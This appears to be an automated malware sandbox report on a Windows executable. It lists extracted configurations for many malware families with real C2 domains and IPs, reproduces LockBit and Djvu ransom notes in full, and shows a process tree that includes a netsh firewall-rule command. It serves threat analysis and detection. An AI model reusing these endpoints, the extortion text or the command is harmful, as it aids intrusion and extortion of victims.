Resubmissions
16/02/2024, 02:54
240216-dd14ysfc711016/02/2024, 01:10
240216-bjwqbaea931009/02/2024, 16:00
240209-tfl1taed861009/02/2024, 13:49
240209-q4sxgsbf9v1006/02/2024, 16:58
240206-vg3kmadccn1006/02/2024, 00:32
240206-avq4jadbfj10Analysis
- max time kernel
1038s - max time network
1796s - platform
windows10-1703_x64 - resource
win10-20240214-en - resource tags
- submitted
16/02/2024, 02:54
General
- Target 4363463463464363463463463.bin.exe
- Size 10KB
- Sample240216-dd14ysfc71
- SHA256 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
Score
10/10
Malware Config
Extracted
Family
-
smokeloader
Botnet
-
pub1
Extracted
Family
-
remcos
Botnet
-
RemoteHost
C2
-
hendersonk1.hopto.org:2404
-
henderson1.camdvr.org:2404
-
centplus1.serveftp.com:2404
-
harrywlike.ddns.net:2404
-
genekol.nsupdate.info:2404
-
harrywlike1.ddns.net:2404
-
hendersonk2022.hopto.org:2404
-
genekol1.nsupdate.info:2404
-
generem.camdvr.org:2404
Attributes
-
audio_folder
MicRecords
-
audio_path
%AppData%
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
sonic.exe
-
copy_folder
yakkk
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
true
-
install_flag
false
-
install_path
%AppData%
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
chrome
-
keylog_path
%AppData%
-
mouse_option
false
-
mutex
gsgjdwg-1J0WWM
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
startup_value
fuckuuuuu
-
take_screenshot_option
false
-
take_screenshot_time
5
-
take_screenshot_title
notepad;solitaire;
Extracted
Family
-
smokeloader
Version
-
2022
C2
-
http://trad-einmyus.com/index.php
-
http://tradein-myus.com/index.php
-
http://trade-inmyus.com/index.php
rc4.i32
rc4.i32
Extracted
Family
-
xworm
Version
-
5.0
C2
-
159.89.100.67:7000
Mutex
-
fhBwWqkQJ7j5rHzI
Attributes
-
install_file
USB.exe
aes.plain
Extracted
Family
-
metasploit
Version
-
encoder/shikata_ga_nai
Extracted
Family
-
metasploit
Version
-
windows/shell_reverse_tcp
C2
-
127.0.0.1:12346
Extracted
Family
-
redline
Botnet
-
1
C2
-
92.222.212.74:1450
Extracted
Family
-
lumma
C2
-
185.99.133.246
Extracted
Path
-
C:\1YwR2c1YK.README.txt
-
lockbit
Ransom Note
- ~~~ LockBit 3.0 the world's fastest and most stable ransomware from 2019~~~ >>>>> Your data is stolen and encrypted. If you don't pay the ransom, the data will be published on our TOR darknet sites. Keep in mind that once your data appears on our leak site, it could be bought by your competitors at any second, so don't hesitate for a long time. The sooner you pay the ransom, the sooner your company will be safe. Tor Browser Links: http://lockbitapt2d73krlbewgv27tquljgxr33xbwwsp6rkyieto7u4ncead.onion http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion http://lockbitapt72iw55njgnqpymggskg5yp75ry7rirtdg4m7i42artsbqd.onion http://lockbitaptawjl6udhpd323uehekiyatj6ftcxmkwe5sezs4fqgpjpid.onion http://lockbitaptbdiajqtplcrigzgdjprwugkkut63nbvy2d5r4w2agyekqd.onion http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion Links for normal browser: http://lockbitapt2d73krlbewgv27tquljgxr33xbwwsp6rkyieto7u4ncead.onion.ly http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion.ly http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion.ly http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion.ly http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion.ly http://lockbitapt72iw55njgnqpymggskg5yp75ry7rirtdg4m7i42artsbqd.onion.ly http://lockbitaptawjl6udhpd323uehekiyatj6ftcxmkwe5sezs4fqgpjpid.onion.ly http://lockbitaptbdiajqtplcrigzgdjprwugkkut63nbvy2d5r4w2agyekqd.onion.ly http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion.ly >>>>> What guarantee is there that we won't cheat you? We are the oldest ransomware affiliate program on the planet, nothing is more important than our reputation. We are not a politically motivated group and we want nothing more than money. If you pay, we will provide you with decryption software and destroy the stolen data. After you pay the ransom, you will quickly make even more money. Treat this situation simply as a paid training for your system administrators, because it is due to your corporate network not being properly configured that we were able to attack you. Our pentest services should be paid just like you pay the salaries of your system administrators. Get over it and pay for it. If we don't give you a decryptor or delete your data after you pay, no one will pay us in the future. You can get more information about us on Ilon Musk's Twitter https://twitter.com/hashtag/lockbit?f=live >>>>> You need to contact us and decrypt one file for free on TOR darknet sites with your personal ID Download and install Tor Browser https://www.torproject.org/ Write to the chat room and wait for an answer, we'll guarantee a response from you. If you need a unique ID for correspondence with us that no one will know about, tell it in the chat, we will generate a secret chat for you and give you his ID via private one-time memos service, no one can find out this ID but you. Sometimes you will have to wait some time for our reply, this is because we have a lot of work and we attack hundreds of companies around the world. Tor Browser personal link available only to you (available during a ddos attack): http://lockbitsupxcjntihbmat4rrh7ktowips2qzywh6zer5r3xafhviyhqd.onion Tor Browser Links for chat (sometimes unavailable due to ddos attacks): http://lockbitsupa7e3b4pkn4mgkgojrl5iqgx24clbzc4xm7i6jeetsia3qd.onion http://lockbitsupdwon76nzykzblcplixwts4n4zoecugz2bxabtapqvmzqqd.onion http://lockbitsupn2h6be2cnqpvncyhj4rgmnwn44633hnzzmtxdvjoqlp7yd.onion http://lockbitsupo7vv5vcl3jxpsdviopwvasljqcstym6efhh6oze7c6xjad.onion http://lockbitsupq3g62dni2f36snrdb4n5qzqvovbtkt5xffw3draxk6gwqd.onion http://lockbitsupqfyacidr6upt6nhhyipujvaablubuevxj6xy3frthvr3yd.onion http://lockbitsupt7nr3fa6e7xyb73lk6bw6rcneqhoyblniiabj4uwvzapqd.onion http://lockbitsupuhswh4izvoucoxsbnotkmgq6durg7kficg6u33zfvq3oyd.onion http://lockbitsupxcjntihbmat4rrh7ktowips2qzywh6zer5r3xafhviyhqd.onion >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>> Your personal ID: E93EA07CABA981A0676243459A1CB653 <<<<< >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>> Warning! Do not delete or modify encrypted files, it will lead to problems with decryption of files! >>>>> Don't go to the police or the FBI for help and don't tell anyone that we attacked you. They won't help and will only make things worse for you. In 3 years not a single member of our group has been caught by the police, we are top notch hackers and we never leave a trail of crime. The police will try to prohibit you from paying the ransom in any way. The first thing they will tell you is that there is no guarantee to decrypt your files and remove stolen files, this is not true, we can do a test decryption before paying and your data will be guaranteed to be removed because it is a matter of our reputation, we make hundreds of millions of dollars and are not going to lose our revenue because of your files. It is very beneficial for the police and FBI to let everyone on the planet know about your data leak because then your state will get the fines budgeted for you due to GDPR and other similar laws. The fines will be used to fund the police and the FBI, they will eat more sweet coffee donuts and get fatter and fatter. The police and the FBI don't care what losses you suffer as a result of our attack, and we will help you get rid of all your problems for a modest sum of money. Along with this you should know that it is not necessarily your company that has to pay the ransom and not necessarily from your bank account, it can be done by an unidentified person, such as any philanthropist who loves your company, for example, Elon Musk, so the police will not do anything to you if someone pays the ransom for you. If you're worried that someone will trace your bank transfers, you can easily buy cryptocurrency for cash, thus leaving no digital trail that someone from your company paid our ransom. The police and FBI will not be able to stop lawsuits from your customers for leaking personal and private information. The police and FBI will not protect you from repeated attacks. Paying the ransom to us is much cheaper and more profitable than paying fines and legal fees. >>>>> What are the dangers of leaking your company's data. First of all, you will receive fines from the government such as the GDRP and many others, you can be sued by customers of your firm for leaking information that was confidential. Your leaked data will be used by all the hackers on the planet for various unpleasant things. For example, social engineering, your employees' personal data can be used to re-infiltrate your company. Bank details and passports can be used to create bank accounts and online wallets through which criminal money will be laundered. On another vacation trip, you will have to explain to the FBI where you got millions of dollars worth of stolen cryptocurrency transferred through your accounts on cryptocurrency exchanges. Your personal information could be used to make loans or buy appliances. You would later have to prove in court that it wasn't you who took out the loan and pay off someone else's loan. Your competitors may use the stolen information to steal technology or to improve their processes, your working methods, suppliers, investors, sponsors, employees, it will all be in the public domain. You won't be happy if your competitors lure your employees to other firms offering better wages, will you? Your competitors will use your information against you. For example, look for tax violations in the financial documents or any other violations, so you have to close your firm. According to statistics, two thirds of small and medium-sized companies close within half a year after a data breach. You will have to find and fix the vulnerabilities in your network, work with the customers affected by data leaks. All of these are very costly procedures that can exceed the cost of a ransomware buyout by a factor of hundreds. It's much easier, cheaper and faster to pay us the ransom. Well and most importantly, you will suffer a reputational loss, you have been building your company for many years, and now your reputation will be destroyed. Read more about the GDRP legislation:: https://en.wikipedia.org/wiki/General_Data_Protection_Regulation https://gdpr.eu/what-is-gdpr/ https://gdpr-info.eu/ >>>>> Don't go to recovery companies, they are essentially just middlemen who will make money off you and cheat you. We are well aware of cases where recovery companies tell you that the ransom price is 5 million dollars, but in fact they secretly negotiate with us for 1 million dollars, so they earn 4 million dollars from you. If you approached us directly without intermediaries you would pay 5 times less, that is 1 million dollars. >>>> Very important! For those who have cyber insurance against ransomware attacks. Insurance companies require you to keep your insurance information secret, this is to never pay the maximum amount specified in the contract or to pay nothing at all, disrupting negotiations. The insurance company will try to derail negotiations in any way they can so that they can later argue that you will be denied coverage because your insurance does not cover the ransom amount. For example your company is insured for 10 million dollars, while negotiating with your insurance agent about the ransom he will offer us the lowest possible amount, for example 100 thousand dollars, we will refuse the paltry amount and ask for example the amount of 15 million dollars, the insurance agent will never offer us the top threshold of your insurance of 10 million dollars. He will do anything to derail negotiations and refuse to pay us out completely and leave you alone with your problem. If you told us anonymously that your company was insured for $10 million and other important details regarding insurance coverage, we would not demand more than $10 million in correspondence with the insurance agent. That way you would have avoided a leak and decrypted your information. But since the sneaky insurance agent purposely negotiates so as not to pay for the insurance claim, only the insurance company wins in this situation. To avoid all this and get the money on the insurance, be sure to inform us anonymously about the availability and terms of insurance coverage, it benefits both you and us, but it does not benefit the insurance company. Poor multimillionaire insurers will not starve and will not become poorer from the payment of the maximum amount specified in the contract, because everyone knows that the contract is more expensive than money, so let them fulfill the conditions prescribed in your insurance contract, thanks to our interaction. >>>>> If you do not pay the ransom, we will attack your company again in the future.
URLs
-
http://lockbitapt2d73krlbewgv27tquljgxr33xbwwsp6rkyieto7u4ncead.onion
-
http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion
-
http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion
-
http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion
-
http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion
-
http://lockbitapt72iw55njgnqpymggskg5yp75ry7rirtdg4m7i42artsbqd.onion
-
http://lockbitaptawjl6udhpd323uehekiyatj6ftcxmkwe5sezs4fqgpjpid.onion
-
http://lockbitaptbdiajqtplcrigzgdjprwugkkut63nbvy2d5r4w2agyekqd.onion
-
http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion
-
http://lockbitapt2d73krlbewgv27tquljgxr33xbwwsp6rkyieto7u4ncead.onion.ly
-
http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion.ly
-
http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion.ly
-
http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion.ly
-
http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion.ly
-
http://lockbitapt72iw55njgnqpymggskg5yp75ry7rirtdg4m7i42artsbqd.onion.ly
-
http://lockbitaptawjl6udhpd323uehekiyatj6ftcxmkwe5sezs4fqgpjpid.onion.ly
-
http://lockbitaptbdiajqtplcrigzgdjprwugkkut63nbvy2d5r4w2agyekqd.onion.ly
-
http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion.ly
-
https://twitter.com/hashtag/lockbit?f=live
-
http://lockbitsupxcjntihbmat4rrh7ktowips2qzywh6zer5r3xafhviyhqd.onion
Extracted
Path
-
F:\_README.txt
-
djvu
Ransom Note
- ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. Do not ask assistants from youtube and recovery data sites for help in recovering your data. They can use your free decryption quota and scam you. Our contact is emails in this text document only. You can get and look video overview decrypt tool: https://we.tl/t-uNdL2KHHdy Price of private key and decrypt software is $999. Discount 50% available if you contact us first 72 hours, that's price for you is $499. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: [email protected] Reserve e-mail address to contact us: [email protected] Your personal ID: 0851ASdwC84nkiLIOq6y9b38l4UiAIgDirWoqqlLGNEqNQJH
URLs
-
https://we.tl/t-uNdL2KHHdy
Extracted
Family
-
lumma
C2
-
https://resergvearyinitiani.shop/api
-
https://mealroomrallpassiveer.shop/api
-
https://gemcreedarticulateod.shop/api
-
https://secretionsuitcasenioise.shop/api
-
https://claimconcessionrebe.shop/api
-
https://liabilityarrangemenyit.shop/api
-
https://pavementpreferencewjiao.site/api
-
https://triangleseasonbenchwj.shop/api
Signatures
- Ammyy Admin
Remote admin tool with various capabilities.
- AmmyyAdmin payload 4 IoCs
- DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
- Detect Lumma Stealer payload V2 1 IoCs
- Detect Lumma Stealer payload V4 1 IoCs
- Detect Xworm Payload 1 IoCs
- Detect ZGRat V1 26 IoCs
- Djvu Ransomware
Ransomware which is a variant of the STOP family.
- FlawedAmmyy RAT
Remote-access trojan based on leaked code for the Ammyy remote admin software.
- Glupteba
Glupteba is a modular loader written in Golang with various components.
- Glupteba payload 5 IoCs
- Lockbit
Ransomware family with multiple variants released since late 2019.
- Lumma Stealer
An infostealer written in C++ first seen in August 2022.
- MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
- Modifies WinLogon for persistence 2 TTPs 3 IoCs
- Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 3 IoCs
- Remcos
Remcos is a closed-source remote control and surveillance software.
- Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
- SmokeLoader
Modular backdoor trojan in use since 2014.
- Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
- SystemBC
SystemBC is a proxy and remote administration tool first seen in 2019.
- UAC bypass 3 TTPs 1 IoCs
- Windows security bypass 2 TTPs 9 IoCs
- Xworm
Xworm is a remote access trojan written in C#.
- ZGRat
ZGRat is remote access trojan written in C#.
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 16 IoCs
- Renames multiple (181) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Renames multiple (213) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- XMRig Miner payload 8 IoCs
- Blocklisted process makes network request 2 IoCs
- Creates new service(s) 1 TTPs
- Disables RegEdit via registry modification 3 IoCs
- Disables Task Manager via registry modification
- Downloads MZ/PE file
- Drops file in Drivers directory 1 IoCs
- Modifies Windows Firewall 2 TTPs 1 IoCs
- Stops running service(s) 3 TTPs
- ACProtect 1.3x - 1.4x DLL software 1 IoCs
Detects file using ACProtect software.
- Checks BIOS information in registry 2 TTPs 36 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops startup file 6 IoCs
- Executes dropped EXE 64 IoCs
- Identifies Wine through registry keys 2 TTPs 14 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
- Loads dropped DLL 64 IoCs
- Modifies file permissions 1 TTPs 1 IoCs
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- UPX packed file 13 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Uses the VBS compiler for execution 1 TTPs
- Windows security modification 2 TTPs 12 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 20 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 4 IoCs
- Drops desktop.ini file(s) 3 IoCs
- Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 51 IoCs
- Looks up external IP address via web service 8 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
- Modifies powershell logging option 1 TTPs
- Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
- AutoIT Executable 1 IoCs
AutoIT scripts compiled to PE executables.
- Drops file in System32 directory 24 IoCs
- Sets desktop wallpaper using registry 2 TTPs 2 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs
- Suspicious use of SetThreadContext 44 IoCs
- Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
- Drops file in Program Files directory 4 IoCs
- Drops file in Windows directory 19 IoCs
- Launches sc.exe 26 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 53 IoCs
- Checks SCSI registry key(s) 3 TTPs 30 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 11 IoCs
Processor information is often read in order to detect sandboxing environments.
- Creates scheduled task(s) 1 TTPs 11 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Enumerates processes with tasklist 1 TTPs 1 IoCs
- Enumerates system info in registry 2 TTPs 9 IoCs
- GoLang User-Agent 4 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
- Kills process with taskkill 2 IoCs
- Modifies Control Panel 2 IoCs
- Modifies data under HKEY_USERS 64 IoCs
- Modifies registry class 11 IoCs
- NTFS ADS 1 IoCs
- Runs net.exe
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 6 IoCs
- Suspicious behavior: MapViewOfSection 5 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of SetWindowsHookEx 14 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- System policy modification 1 TTPs 1 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- Views/modifies file attributes 1 TTPs 1 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
c:\windows\system32\sihost.exesihost.exe1⤵
-
C:\Windows\SysWOW64\dialer.exe"C:\Windows\system32\dialer.exe"2⤵
-
-
C:\Windows\SysWOW64\dialer.exe"C:\Windows\system32\dialer.exe"2⤵
-
-
C:\Windows\SysWOW64\dialer.exe"C:\Windows\system32\dialer.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
-
-
C:\Windows\system32\openwith.exe"C:\Windows\system32\openwith.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of SetThreadContext
- Checks processor information in registry
- outlook_office_path
- outlook_win_path
-
C:\Program Files\Windows Media Player\wmpnscfg.exe"C:\Program Files\Windows Media Player\wmpnscfg.exe"3⤵
-
-
C:\Program Files\Windows Media Player\wmlaunch.exe"C:\Program Files\Windows Media Player\wmlaunch.exe"3⤵
-
-
C:\Program Files\Windows Media Player\wmplayer.exe"C:\Program Files\Windows Media Player\wmplayer.exe"3⤵
-
-
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.bin.exe"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.bin.exe"1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\dayroc.exe"C:\Users\Admin\AppData\Local\Temp\Files\dayroc.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\nine.exe"C:\Users\Admin\AppData\Local\Temp\nine.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5068 -s 4964⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\d21cbe21e38b385a41a68c5e6dd32f4c.exe"C:\Users\Admin\AppData\Local\Temp\d21cbe21e38b385a41a68c5e6dd32f4c.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 3844⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 3644⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 4004⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 6204⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 6564⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 6924⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 7204⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 7684⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 6204⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 6804⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 6804⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 6964⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 8124⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 5804⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 8444⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 6804⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 5924⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 7044⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 524 -s 8044⤵
- Program crash
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\d21cbe21e38b385a41a68c5e6dd32f4c.exe"C:\Users\Admin\AppData\Local\Temp\d21cbe21e38b385a41a68c5e6dd32f4c.exe"4⤵
- Windows security bypass
- Executes dropped EXE
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2784 -s 3605⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2784 -s 4165⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2784 -s 3765⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2784 -s 5925⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2784 -s 6285⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2784 -s 6805⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2784 -s 6325⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2784 -s 6365⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2784 -s 7725⤵
- Program crash
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe5⤵
- Executes dropped EXE
- Adds Run key to start application
- Manipulates WinMonFS driver.
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2172 -s 3846⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2172 -s 3926⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2172 -s 4086⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2172 -s 3726⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2172 -s 6926⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2172 -s 7726⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2172 -s 6966⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2172 -s 7806⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2172 -s 9086⤵
- Program crash
-
-
